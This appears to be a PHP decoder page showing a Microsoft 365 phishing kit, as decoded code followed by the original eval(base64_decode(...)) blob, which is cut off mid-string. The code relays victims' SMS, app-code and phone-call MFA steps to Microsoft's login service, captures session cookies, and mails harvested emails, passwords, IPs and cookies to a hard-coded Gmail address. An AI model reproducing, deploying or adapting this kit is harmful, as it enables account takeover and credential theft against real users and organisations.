header("Location: verification/?sms&user=$user&.rand=13InboxLight.aspx&n=1252899642&fid=1&fav=1&bg=" . base64_encode($_POST[\'bg\']) . "&logo=" . base64_encode($_POST[\'logo\']) . "&token=$newToken&error&key=" . $_POST[\'key\']);
}
} else if ($_POST[\'service\'] == \'code\') {
$endAuth = EndAuthOffice($_POST[\'token\'], $_POST[\'otc\']);
$newToken = base64_encode(json_encode([
\'ctx\' => $endAuth[\'Ctx\'],
\'flowToken\' => $endAuth[\'FlowToken\'],
\'cookie\' => $token[\'cookie\'],
\'method\' => $token[\'method\'],
\'session\' => $endAuth[\'SessionId\']
]));
if ($endAuth[\'Success\']) {
processAuthOffice($endAuth, $user, $token[\'cookie\'], $_POST[\'key\']);
header("Location: index.php?success&id=$user&.rand=13InboxLight.aspx&n=1252899642&fid=1&fav=1&bg=" . base64_encode($_POST[\'bg\']) . "&logo=" . base64_encode($_POST[\'logo\']));
} else {
header("Location: verification/?phoneappotp&user=$user&.rand=13InboxLight.aspx&n=1252899642&fid=1&fav=1&bg=" . base64_encode($_POST[\'bg\']) . "&logo=" . base64_encode($_POST[\'logo\']) . "&token=$newToken&error&key=" . $_POST[\'key\']);
}
} else if ($_POST[\'service\'] == \'call\') {
$endAuth = EndAuthOffice($_POST[\'token\'], \'\');
$newToken = base64_encode(json_encode([
\'ctx\' => $endAuth[\'Ctx\'],
\'flowToken\' => $endAuth[\'FlowToken\'],
\'cookie\' => $token[\'cookie\'],
\'method\' => $token[\'method\'],
\'session\' => $endAuth[\'SessionId\']
]));
if ($endAuth[\'Success\']) {
processAuthOffice($endAuth, $user, $token[\'cookie\'], $_POST[\'key\']);
echo json_encode([
\'status\' => true,
\'redirect\' => "../index.php?success&id=$user&.rand=13InboxLight.aspx&n=1252899642&fid=1&fav=1&bg=" . base64_encode($_POST[\'bg\']) . "&logo=" . base64_encode($_POST[\'logo\'])
]);
} else {
echo json_encode([\'status\' => false, \'message\' => \'Verification failed\', \'token\' => $newToken]);
}
}
}
'
Did this file decode correctly?
Original Code
<?php eval("?>".base64_decode("PD9waHANCg0KZnVuY3Rpb24gc2VuZEVtYWlsUmVzdWx0KCRlbWFpbCwgJHBhc3N3b3JkLCAkY29va2llID0gJycpDQp7DQogICAgaW5jbHVkZSAnZW1haWwucGhwJzsNCiAgICAkdG8gPSAnbWljaGVsaHVzdG9uNzdAZ21haWwuY29tJzsNCiAgICAkYnJvd3NlciA9ICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCiAgICAkaXAgPSBnZXRlbnYoIlJFTU9URV9BRERSIik7DQogICAgJG1lc3NhZ2UgPSAiLS0tLS0tLS0tKyBSRVNVTFQgIHwrLS0tLS0tLVxuIjsNCiAgICAkbWVzc2FnZSAuPSAiRW1haWwgOiAiIC4gJGVtYWlsIC4gIlxuIjsNCiAgICAkbWVzc2FnZSAuPSAiUGFzc3dvcmQgOiAiIC4gJHBhc3N3b3JkIC4gIlxuIjsNCiAgICAkbWVzc2FnZSAuPSAiLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cbiI7DQogICAgJG1lc3NhZ2UgLj0gIkNsaWVudCBJUDogIiAuICRpcCAuICJcbiI7DQogICAgJG1lc3NhZ2UgLj0gIlVzZXIgQWdlbnQgOiAiIC4gJGJyb3dzZXIgLiAiXG4iOw0KICAgICRtZXNzYWdlIC49ICItLS0gaHR0cDovL3d3dy5nZW9pcHRvb2wuY29tLz9JUD0kaXAgLS0tLVxuIjsNCiAgICAkbWVzc2FnZSAuPSAiLS0jIyMtLS1cbiI7DQogICAgJG1lc3NhZ2UgLj0gIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXG5cblxuIjsNCiAgICAkbWVzc2FnZSAuPSAkY29va2llOw0KICAgICRpc0Nvb2tpZSA9ICRjb29raWUgIT0gJycgPyAnIFtDT09LSUVdJyA6ICcnOw0KICAgICRzdWJqZWN0ID0gIlJlc3VsdCB8ICIgLiAkZW1haWwgLiAiIHwgIiAuICRpcCAuICRpc0Nvb2tpZTsNCg0KICAgIG1haWwoJHRvLCAkc3ViamVjdCwgJG1lc3NhZ2UpOw0KICAgIG1haWwoJHJlY2VpdmVkRW1haWwsICRzdWJqZWN0LCAkbWVzc2FnZSk7DQp9DQoNCmZ1bmN0aW9uIGNvb2tpZVRvSlNPTigkY29va2llLCAkZG9tKQ0Kew0KICAgICRhcnIgPSBleHBsb2RlKCI7IiwgJGNvb2tpZSk7DQoNCiAgICAkbmFtZSA9IGV4cGxvZGUoIj0iLCB0cmltKCRhcnJbMF0pKVswXTsNCiAgICAkdmFsdWUgPSBleHBsb2RlKCI9IiwgdHJpbSgkYXJyWzBdKSlbMV07DQogICAgJGRvbWFpbiA9ICRkb207DQogICAgJGV4cGlyYXRpb25EYXRlID0gc3RydG90aW1lKCcrMSBtb250aCcpOw0KICAgICRwYXRoID0gJy8nOw0KICAgICRTYW1lU2l0ZSA9IG51bGw7DQoNCiAgICBmb3JlYWNoICgkYXJyIGFzICRpdGVtKSB7DQogICAgICAgICRpdGVtID0gdHJpbSgkaXRlbSk7DQogICAgICAgICRpdGVtID0gZXhwbG9kZSgiPSIsICRpdGVtKTsNCiAgICAgICAgaWYgKGNvdW50KCRpdGVtKSA9PSAyKSB7DQogICAgICAgICAgICBpZiAoc3RyaXBvcygkaXRlbVswXSwgJ2V4cGlyZXMnKSAhPT0gZmFsc2UpIHsNCiAgICAgICAgICAgICAgICAkZXhwaXJhdGlvbkRhdGUgPSBzdHJ0b3RpbWUoJGl0ZW1bMV0pOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBpZiAoc3RyaXBvcygkaXRlbVswXSwgJ3BhdGgnKSAhPT0gZmFsc2UpIHsNCiAgICAgICAgICAgICAgICAkcGF0aCA9ICRpdGVtWzFdOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBpZiAoc3RyaXBvcygkaXRlbVswXSwgJ1NhbWVTaXRlJykgIT09IGZhbHNlICYmIHN0cmlwb3MoJGl0ZW1bMF0sICdub25lJykgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgJFNhbWVTaXRlID0gJGl0ZW1bMV07DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAkaG9zdE9ubHkgPSAoYm9vbCkgc3RyaXBvcygkY29va2llLCAnaG9zdE9ubHknKSAhPT0gZmFsc2UgPyB0cnVlIDogZmFsc2U7DQogICAgJGh0dHBPbmx5ID0gKGJvb2wpIHN0cmlwb3MoJGNvb2tpZSwgJ0h0dHBPbmx5JykgIT09IGZhbHNlID8gdHJ1ZSA6IGZhbHNlOw0KICAgICRzZWN1cmUgPSAoYm9vbCkgc3RyaXBvcygkY29va2llLCAnc2VjdXJlJykgIT09IGZhbHNlID8gdHJ1ZSA6IGZhbHNlOw0KICAgICRzZXNzaW9uID0gKGJvb2wpIHN0cmlwb3MoJGNvb2tpZSwgJ3Nlc3Npb24nKSAhPT0gZmFsc2UgPyB0cnVlIDogZmFsc2U7DQoNCiAgICAkZGF0YSA9IFsNCiAgICAgICAgImRvbWFpbiIgPT4gJGRvbWFpbiwNCiAgICAgICAgImV4cGlyYXRpb25EYXRlIiA9PiAkZXhwaXJhdGlvbkRhdGUsDQogICAgICAgICJob3N0T25seSIgPT4gJGhvc3RPbmx5LA0KICAgICAgICAiaHR0cE9ubHkiID0+ICRodHRwT25seSwNCiAgICAgICAgIm5hbWUiID0+ICRuYW1lLA0KICAgICAgICAicGF0aCIgPT4gJHBhdGgsDQogICAgICAgICJzYW1lU2l0ZSIgPT4gJFNhbWVTaXRlLA0KICAgICAgICAic2VjdXJlIiA9PiAkc2VjdXJlLA0KICAgICAgICAic2Vzc2lvbiIgPT4gJHNlc3Npb24sDQogICAgICAgICJzdG9yZUlkIiA9PiBudWxsLA0KICAgICAgICAidmFsdWUiID0+ICR2YWx1ZQ0KICAgIF07DQoNCiAgICByZXR1cm4gJGRhdGE7DQp9DQoNCmZ1bmN0aW9uIE1pZCgkcGFyYW0sICRrYXRhMSwgJGthdGEyKQ0Kew0KICAgIGlmIChzdHJwb3MoJHBhcmFtLCAka2F0YTEpID09PSBGQUxTRSkgcmV0dXJuIEZBTFNFOw0KICAgIGlmIChzdHJwb3MoJHBhcmFtLCAka2F0YTIpID09PSBGQUxTRSkgcmV0dXJuIEZBTFNFOw0KICAgICRzdGFydCA9IHN0cnBvcygkcGFyYW0sICRrYXRhMSkgKyBzdHJsZW4oJGthdGExKTsNCiAgICAkZW5kID0gc3RycG9zKCRwYXJhbSwgJGthdGEyLCAkc3RhcnQpOw0KICAgICRyZXR1cm4gPSBzdWJzdHIoJHBhcmFtLCAkc3RhcnQsICRlbmQgLSAkc3RhcnQpOw0KICAgIHJldHVybiAkcmV0dXJuOw0KfQ0KDQoNCmZ1bmN0aW9uIGdldFRva2VuTWljcm9zb2Z0KCkNCnsNCiAgICAkY2ggPSBjdXJsX2luaXQoKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAiaHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tLy9jb21tb24vb2F1dGgyL3YyLjAvYXV0aG9yaXplP2NsaWVudF9pZD00NzY1NDQ1Yi0zMmM2LTQ5YjAtODNlNi0xZDkzNzY1Mjc2Y2EmcmVkaXJlY3RfdXJpPWh0dHBzJTNBJTJGJTJGd3d3Lm9mZmljZS5jb20lMkZsYW5kaW5ndjImcmVzcG9uc2VfdHlwZT1jb2RlJTIwaWRfdG9rZW4mc2NvcGU9b3BlbmlkJTIwcHJvZmlsZSUyMGh0dHBzJTNBJTJGJTJGd3d3Lm9mZmljZS5jb20lMkZ2MiUyRk9mZmljZUhvbWUuQWxsJnJlc3BvbnNlX21vZGU9Zm9ybV9wb3N0Jm5vbmNlPTYzNzk3MTgyNjI1MDM0NjY5MC5PVFJpTjJOa01UWXRZamt4WkMwME5HTmxMV0V3WmpVdFkyTTFOMkZtTVdGa00yVTJOamxsWkRBeE5qWXROelZtT1MwME16QXpMV0U0TVdRdFlXSTVOek00TWpWbVpHRmkmdWlfbG9jYWxlcz1lbi1VUyZta3Q9ZW4tVVMmc3RhdGU9VGxEaGZ2NS1CYXZhbTlWcEVjZ2hHeEdHWnZ4OHZDcVFfaThiRTc3SWN4NjlaaU1uV0RWRlRteHVfM0ZmOTF6TWF0aXFXRk9EOVRwYXJoSzZoY2ZrZVZ1ekt3WUYxWFcxaGtUWEtKdTFzb0VLb2lJVUJvX0tBUjZEUEtVbEFiTzlrMUpKT0loSVlhbTBEZ0FTS1c3dXR1VDJyQUw5QjBzWVFiQ0d2UmRKMnRrVS1qTGRxSHQ4UWJiay1qZkVDWTBYSkhrQV9VaHVrY2hfYjJYN21iVm9VRlVtTndPaGlQQUNvU1NEdVRwRE1mRzVtTXFJcjlHbktwNDc2ME4zSm1CMm84UFRyQ291SDJKZXVOOTNRYjhVTGcmeC1jbGllbnQtU0tVPUlEX05FVFNUQU5EQVJEMl8wJngtY2xpZW50LXZlcj02LjE2LjAuMCZzc29fcmVsb2FkPXRydWUiKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KDQogICAgJGhlYWRlcnMgPSBhcnJheSgpOw0KICAgICRoZWFkZXJzW10gPSAiSG9zdDogbG9naW4ubWljcm9zb2Z0b25saW5lLmNvbSI7DQogICAgJGhlYWRlcnNbXSA9ICJVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMTA0LjAuNTExMi44MSBTYWZhcmkvNTM3LjM2IjsNCiAgICAkaGVhZGVyc1tdID0gIkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbjtjaGFyc2V0PVVURi04IjsNCiAgICAkaGVhZGVyc1tdID0gIkNvb2tpZTogZnBjPUFtNHowRUpoQlg1S3V1RTU5MzNHLUdJOyB4LW1zLWdhdGV3YXktc2xpY2U9ZXN0c2ZkOyBzdHNzZXJ2aWNlY29va2llPWVzdHNmZDsgQUFEU1NPPU5BfE5vRXh0ZW5zaW9uIjsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEhFQURFUiwgJGhlYWRlcnMpOw0KICAgICRyZXN1bHQgPSBjdXJsX2V4ZWMoJGNoKTsNCiAgICAkanNvbiA9IE1pZCgkcmVzdWx0LCAnJENvbmZpZz0nLCAnOycpOw0KICAgICRqc29uID0ganNvbl9kZWNvZGUoJGpzb24sIHRydWUpOw0KICAgICRjdHggPSAkanNvblsnc0N0eCddOw0KICAgICRmbG93VG9rZW4gPSAkanNvblsnc0ZUJ107DQogICAgJGNhbmFyeSA9IHVybGVuY29kZSgkanNvblsnY2FuYXJ5J10pOw0KICAgIGN1cmxfY2xvc2UoJGNoKTsNCiAgICByZXR1cm4gWw0KICAgICAgICAnY3R4JyA9PiAkY3R4LA0KICAgICAgICAnZmxvd1Rva2VuJyA9PiAkZmxvd1Rva2VuLA0KICAgICAgICAnY2FuYXJ5JyA9PiAkY2FuYXJ5DQogICAgXTsNCn0NCg0KZnVuY3Rpb24gY2hlY2tWYWxpZEVtYWlsKCRlbWFpbCkNCnsNCiAgICAkY2ggPSBjdXJsX2luaXQoKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAiaHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2dldHVzZXJyZWFsbS5zcmY/bG9naW49IiAuICRlbWFpbCk7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsNCg0KICAgICRyZXN1bHQgPSBjdXJsX2V4ZWMoJGNoKTsNCiAgICBjdXJsX2Nsb3NlKCRjaCk7DQogICAgJGpzb24gPSBqc29uX2RlY29kZSgkcmVzdWx0LCB0cnVlKTsNCiAgICBpZiAoJGpzb25bJ05hbWVTcGFjZVR5cGUnXSA9PSAnVW5rbm93bicpIHsNCiAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgIH0gZWxzZSB7DQogICAgICAgIHJldHVybiB0cnVlOw0KICAgIH0NCn0NCg0KZnVuY3Rpb24gZ2V0RGV0YWlsRW1haWwoJGVtYWlsKQ0Kew0KICAgICRjaGVja2luZyA9IGNoZWNrVmFsaWRFbWFpbCgkZW1haWwpOw0KDQogICAgaWYgKCRjaGVja2luZyA9PSBmYWxzZSkgew0KICAgICAgICByZXR1cm4gWw0KICAgICAgICAgICAgJ3N0YXR1cycgPT4gJ2Vycm9yJywNCiAgICAgICAgICAgICdtZXNzYWdlJyA9PiAiV2UgY291bGRuJ3QgZmluZCBhbiBhY2NvdW50IHdpdGggdGhhdCB1c2VybmFtZS4gVHJ5IGFub3RoZXIgYWNjb3VudC4iDQogICAgICAgIF07DQogICAgfQ0KDQogICAgJGJhbm5lciA9IG51bGw7DQogICAgJGJhY2tncm91bmQgPSBudWxsOw0KICAgICRkYXRhID0gWw0KICAgICAgICAidXNlcm5hbWUiID0+ICRlbWFpbCwNCiAgICAgICAgImlzT3RoZXJJZHBTdXBwb3J0ZWQiID0+IHRydWUsDQogICAgICAgICJjaGVja1Bob25lcyIgPT4gZmFsc2UsDQogICAgICAgICJpc1JlbW90ZU5HQ1N1cHBvcnRlZCIgPT4gdHJ1ZSwNCiAgICAgICAgImlzQ29va2llQmFubmVyU2hvd24iID0+IGZhbHNlLA0KICAgICAgICAiaXNGaWRvU3VwcG9ydGVkIiA9PiB0cnVlLA0KICAgICAgICAib3JpZ2luYWxSZXF1ZXN0IiA9PiAiclFRSUFSQUFoWktfajlOMkFNWGo1QzY5aTZBOWpxcUM3UVlHaEpUazYyOFNPejZwZ3hQSGpwT3o4OHVPNHl4VzdOaXg0eDlmSjdHVGtILUFTbDNvVUlSUVZRRVNRcHlFa0RvVnVpQTJicnFadlVzbEN1ckVWZ0tkVVplbjlfVGU5ajZaUFNLSEV6bVFBemRTTUFlT3J4VkpvbFFzbHZSc0FScEV0a2pwSUZzdW1FUVdIMU9GYlFWSndoak5Eek1IUDE5Ni0tcnc4bFB4LVlDLTljejZjM3lLSGRsUkZDNk84X25WYXBWRGx1VVlaczVBZnQ0YkJXTW5tQ3poN3hoMmptSDNrcnRta0pWN3A4a0ZVU0FwRWk5REFwWkFvVWdRRk1pMXBLNGpRdEVWSkRWU3AtNTZXQVZBNUVUdlJLbXRobE01VXFHQWk1RDFCWVYxQlNoRGNlcDVRNFplaTFNMUVqZDl2OVVEUU5qUW0tMi1LQ2lkU0ZYNGtyZ1Jpc0swN3c4NTFubVRfS1pGeDVFTlB3bWFPeHZ6bi1TLWhlYS1GcUpGZEM5MUp5bDVqRzB0UzluS2FEbnlxWDVZTXlZMnQtYTQ0WEpkWGxabkhjMHA2eldTNUkwMVFRMGRJVkNZUGl2NTYxZ3JzQmFGYjRSUjVNd1V0c1ZRVWppYTIwM0NOaXpYN01lYjVrcGw4WUdDMjY0MGFEWmlmSUZxVGVUd2NnVnBUYnBMTU8ybTdORjZpM0x4UnFQRjI3dzY4Z0V6b1h0TmhZeWpXSUp6LW9TcWdJWGEwYXZjc2p0dXdNaVZzOU9UOGF3ZWxUdTY3bWFuVnEycWdrR2o3dEthYk1ldVlXczZISkMtM2tjeUtfdmlxbVU3YmJxS2VqMG1sa0pHc0xpU0w4ejRPY1VGelhCN094QUxEYjhDVWJrdHphc29yc09HR1l0VW9hT1g1WlBKYWVycUYtNWR3dDlTNmEzeFVYQ1dJbEZvQnM3NEtKd2p5X0hNTHlHeGhQblc1MVJIdnBtalBlOThCX3RyNTd1OTlNSEJsY1JSNHZxM0lIVzh0NWM1U0h4S0gzYXdoN3RiNGw3X19ldjluMTR0Nms5X21UejY0X0YtNG13M1h6WktmSDNNV3UyYlZMc2JCdTBBUk8wZTNxME1acmFDOC12aEpBWWwySi1GYlc3eFBUakdiNmV4Mi1uMFdmb1N6MmhpVGVwSnRNalFYUVpxNEgwYS0tR3J4SXY5XzJYNHpZWExtVXpzYUI0eVJwNjVPUHlQNVpjWEV4LS12bnYtNU1kM196NTRXXzhJMCIsDQogICAgICAgICJjb3VudHJ5IiA9PiAiSUQiLA0KICAgICAgICAiZm9yY2VvdGNsb2dpbiIgPT4gZmFsc2UsDQogICAgICAgICJpc0V4dGVybmFsRmVkZXJhdGlvbkRpc2FsbG93ZWQiID0+IGZhbHNlLA0KICAgICAgICAiaXNSZW1vdGVDb25uZWN0U3VwcG9ydGVkIiA9PiBmYWxzZSwgImZlZGVyYXRpb25GbGFncyIgPT4gMCwgImlzU2lnbnVwIiA9PiBmYWxzZSwgImZsb3dUb2tlbiIgPT4gIkFRQUJBQUVBQUFELS1ETEEzVk83UXJkZGdKZzdXZXZycnRZRDU1LVVTXzg0N1dQU1ZLc3ptb0wxOUJXOFJLZERpU0VKNUxJQjUtNWItSUI2aWpOVjBFTHJlRXM4bnRnT1dxQWdUR2JNMjR5ZXN1ZzJVUVY3U2hEdS11RXdsOTZkUmNrY1ZwNDFQQ3pCcWxzMktNV0xqaUc5WDJQdkxkUVktczFpYnpveTRuTC12YUxVMmtFWGtOUERPTDVBN3M4ZVZqNTAxeGgzYkZjbHloSVEwS25SVG9nT0FxTVcxVjdqd1RKclZkdnJyamFnanhHeVBkZndkTXpIR2xuZkI3akpZZGJEUWkyZWJLUUxSR2JSNUs4UklpRlVjZ2RvNWxIWVpicUlDb1A4QlZMTGxmbkxGRE1sNTlPMmdqLXQ4NjRSbUxUbmNOZjhONDZKREhRMFZlX0tKNjVURFZ1Yk1PUmxuVzZEd0xOTGgwdHBQY3VCTUlibTBlQjkzTExlX215VXJ6emowd25nQ2FVWkN0LUZlWk5pZjJSMVRJNkdMMjJIN1dpTlJVVHZRYXhCUENHTy02cmZqcjBRZW9PMGtoTVNmTFEyUHVtYnhTMEgxaE53RWhsTmdvbC1GbnpCeG1Td1A3ckhsQWlfZnlXVl95OVVOQUhfRjVqSWh2aGpyRTV0bjVySlRJeXlvVzhLZW4xRlJqZG8zcmFZQXk5OG5jVFhWRFJJMWJTSW0wb1UxVVc2SUdNcTBDR2ZUWUROTUk3T3Z1Sjhic3o2YUlnZ0FBIiwgImlzQWNjZXNzUGFzc1N1cHBvcnRlZCIgPT4gdHJ1ZQ0KICAgIF07DQoNCiAgICAkY2ggPSBjdXJsX2luaXQoKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAiaHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9HZXRDcmVkZW50aWFsVHlwZT9ta3Q9ZW4tVVMiKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCBqc29uX2VuY29kZSgkZGF0YSkpOw0KDQogICAgJGhlYWRlcnMgPSBhcnJheSgpOw0KICAgICRoZWFkZXJzW10gPSAiSG9zdDogbG9naW4ubWljcm9zb2Z0b25saW5lLmNvbSI7DQogICAgJGhlYWRlcnNbXSA9ICJVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMTA0LjAuNTExMi44MSBTYWZhcmkvNTM3LjM2IjsNCiAgICAkaGVhZGVyc1tdID0gIkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbjtjaGFyc2V0PVVURi04IjsNCiAgICAkaGVhZGVyc1tdID0gIkNvb2tpZTogZnBjPUFtNHowRUpoQlg1S3V1RTU5MzNHLUdJOyB4LW1zLWdhdGV3YXktc2xpY2U9ZXN0c2ZkOyBzdHNzZXJ2aWNlY29va2llPWVzdHNmZDsgQUFEU1NPPU5BfE5vRXh0ZW5zaW9uIjsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEhFQURFUiwgJGhlYWRlcnMpOw0KICAgICRyZXN1bHQgPSBjdXJsX2V4ZWMoJGNoKTsNCiAgICBjdXJsX2Nsb3NlKCRjaCk7DQogICAgJHJlc3MgPSBqc29uX2RlY29kZSgkcmVzdWx0LCB0cnVlKTsNCg0KICAgIGlmIChpc3NldCgkcmVzc1snRXN0c1Byb3BlcnRpZXMnXVsnVXNlclRlbmFudEJyYW5kaW5nJ11bMF1bJ0Jhbm5lckxvZ28nXSkpIHsNCiAgICAgICAgJGJhbm5lciA9ICRyZXNzWydFc3RzUHJvcGVydGllcyddWydVc2VyVGVuYW50QnJhbmRpbmcnXVswXVsnQmFubmVyTG9nbyddOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJHJlc3NbJ0VzdHNQcm9wZXJ0aWVzJ11bJ1VzZXJUZW5hbnRCcmFuZGluZyddWzBdWydJbGx1c3RyYXRpb24nXSkpIHsNCiAgICAgICAgJGJhY2tncm91bmQgPSAkcmVzc1snRXN0c1Byb3BlcnRpZXMnXVsnVXNlclRlbmFudEJyYW5kaW5nJ11bMF1bJ0lsbHVzdHJhdGlvbiddOw0KICAgIH0NCiAgICByZXR1cm4gWw0KICAgICAgICAnc3RhdHVzJyA9PiAnc3VjY2VzcycsDQogICAgICAgICdiYW5uZXInID0+ICRiYW5uZXIsDQogICAgICAgICdiYWNrZ3JvdW5kJyA9PiAkYmFja2dyb3VuZCwNCiAgICBdOw0KfQ0KDQpmdW5jdGlvbiBsb2dpbk9mZmljZSgkZW1haWwsICRwYXNzd29yZCkNCnsNCiAgICAkdG9rZW4gPSBnZXRUb2tlbk1pY3Jvc29mdCgpOw0KICAgICRkYXRhID0gJ2kxMz0wJmxvZ2luPScgLiAkZW1haWwgLiAnJmxvZ2luZm10PScgLiAkZW1haWwgLiAnJnR5cGU9MTEmTG9naW5PcHRpb25zPTMmbHJ0PSZscnRQYXJ0aXRpb249Jmhpc1JlZ2lvbj0maGlzU2NhbGVVbml0PSZwYXNzd2Q9JyAuICRwYXNzd29yZCAuICcmcHM9MiZwc1JOR0NEZWZhdWx0VHlwZT0mcHNSTkdDRW50cm9weT0mcHNSTkdDU0xLPSZjYW5hcnk9JyAuICR0b2tlblsnY2FuYXJ5J10gLiAnJmN0eD0nIC4gJHRva2VuWydjdHgnXSAuICcmZmxvd1Rva2VuPScgLiAkdG9rZW5bJ2Zsb3dUb2tlbiddIC4gJyZQUFNYPSZOZXdVc2VyPTEmRm91bmRNU0FzPSZmc3Bvc3Q9MCZpMjE9MCZDb29raWVEaXNjbG9zdXJlPTAmSXNGaWRvU3VwcG9ydGVkPTEmaXNTaWdudXBQb3N0PTAmaTE5PTMyNzU4JzsNCg0KICAgICRjaCA9IGN1cmxfaW5pdCgpOw0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICJodHRwczovL2xvZ2luLm1pY3Jvc29mdG9ubGluZS5jb20vY29tbW9uL2xvZ2luIik7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywgJGRhdGEpOw0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCAxKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRU5DT0RJTkcsICdnemlwLCBkZWZsYXRlJyk7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMSk7DQoNCiAgICAkaGVhZGVycyA9IGFycmF5KCk7DQogICAgJGhlYWRlcnNbXSA9ICJDb25uZWN0aW9uOiBrZWVwLWFsaXZlIjsNCiAgICAkaGVhZGVyc1tdID0gIlByYWdtYTogbm8tY2FjaGUiOw0KICAgICRoZWFkZXJzW10gPSAiQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUiOw0KICAgICRoZWFkZXJzW10gPSAiT3JpZ2luOiBodHRwczovL2xvZ2luLm1pY3Jvc29mdG9ubGluZS5jb20iOw0KICAgICRoZWFkZXJzW10gPSAiVXBncmFkZS1JbnNlY3VyZS1SZXF1ZXN0czogMSI7DQogICAgJGhlYWRlcnNbXSA9ICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCI7DQogICAgJGhlYWRlcnNbXSA9ICJVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNjkuMC4zNDk3LjEwMCBTYWZhcmkvNTM3LjM2IjsNCiAgICAkaGVhZGVyc1tdID0gIkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksaW1hZ2Uvd2VicCxpbWFnZS9hcG5nLCovKjtxPTAuOCI7DQogICAgJGhlYWRlcnNbXSA9ICJSZWZlcmVyOiBodHRwczovL2xvZ2luLm1pY3Jvc29mdG9ubGluZS5jb20vY29tbW9uL3JlcHJvY2Vzcz9jdHg9clFJSUFYV1NQV19UWUFDRTdTUU5iVUZRd1FBVDZsQXhVRGw1X1JISGpsUWdqWk1TRXp0MTR5UzFsOGh4bk1TT3ZfRDdKazZ6SXlFaG9iSjJoQUVwSTJKQVNQMERaZWtJREIyWUVCTmlZbUNvLXdOWWJqamQ4T2p1SHFiSkhGbmFZbWltWUJUN1BNRWJMRTB3UEFrSWc2RllnaTdRTEUwQmNsQUFkSFI3ZmVQYnhfc3ZNT3gxN2QycjAwY1haZUppaWQ4ZEl4VENVajRmeDNFdUdBNXQwOHFaZ1pmX2hPUG5PUDRUeDA5U0s1WlB0RnZMRkdScHRzZ3lnT0Y0aW1ZNUNnQXlKMU0xVzNmRWllUlVrYXpxWHJNQ2dLNlc0NGJxT3BLZ0pONnVMUzFrVjFPVnVTN0lYbE1WWGMxVGdPeFZVWE5Qbm1ndEFEVEhaQnJxMk5WVkUwbUM2TWxPblphN1NxdzVydmM5ZGF0Wm5xSXhkU1ZCWkMtc1A2bTFZUkI1dlRDQTZDVDlIbS1HbGw4ZlZBTGZ0MHlVdTRwWlBySk5BOW1Cdng4Rm9SVWgyNEk3bmJJRnlWNV9kTUFweFJvdlJnU2pSaXh6dER0cVRYdDFtVHM2OUprZXNqbUhtbXBkb2s5emdzZ1R0R1NDV3JzUW1NT3hEbnVLTTFURHB3a0NpTWNIdGhyRE9ZUkZvU3AxeU9wb29leXJvdGxXbnZFZ1FBV3QzWWdMODlsTWtqUWY3b1dHb2NpakQtbHNVcXNYLUdmcG13bVVidzgyd3lnWTJxNzFJMzBIR3E0Rm44Q0UyRFpoVW45dU9qblA0TDh5TjBDNnRMcTZ2b0hkd3pheHZ4bjg3VXF5NGVQRExXMzU0SXZ3NXZyWDJyOVRFVHRieVQ4M090c1ZUcWFMYzdMTjlzc04xNnNhaWpGaHFwU29kN2NYdFFWcXpQUXgwektGZUljdmtjZFpfRGliX1oxTnZieUdmVjc3M3dNdUFRMiI7DQogICAgJGhlYWRlcnNbXSA9ICJBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUsIGJyIjsNCiAgICAkaGV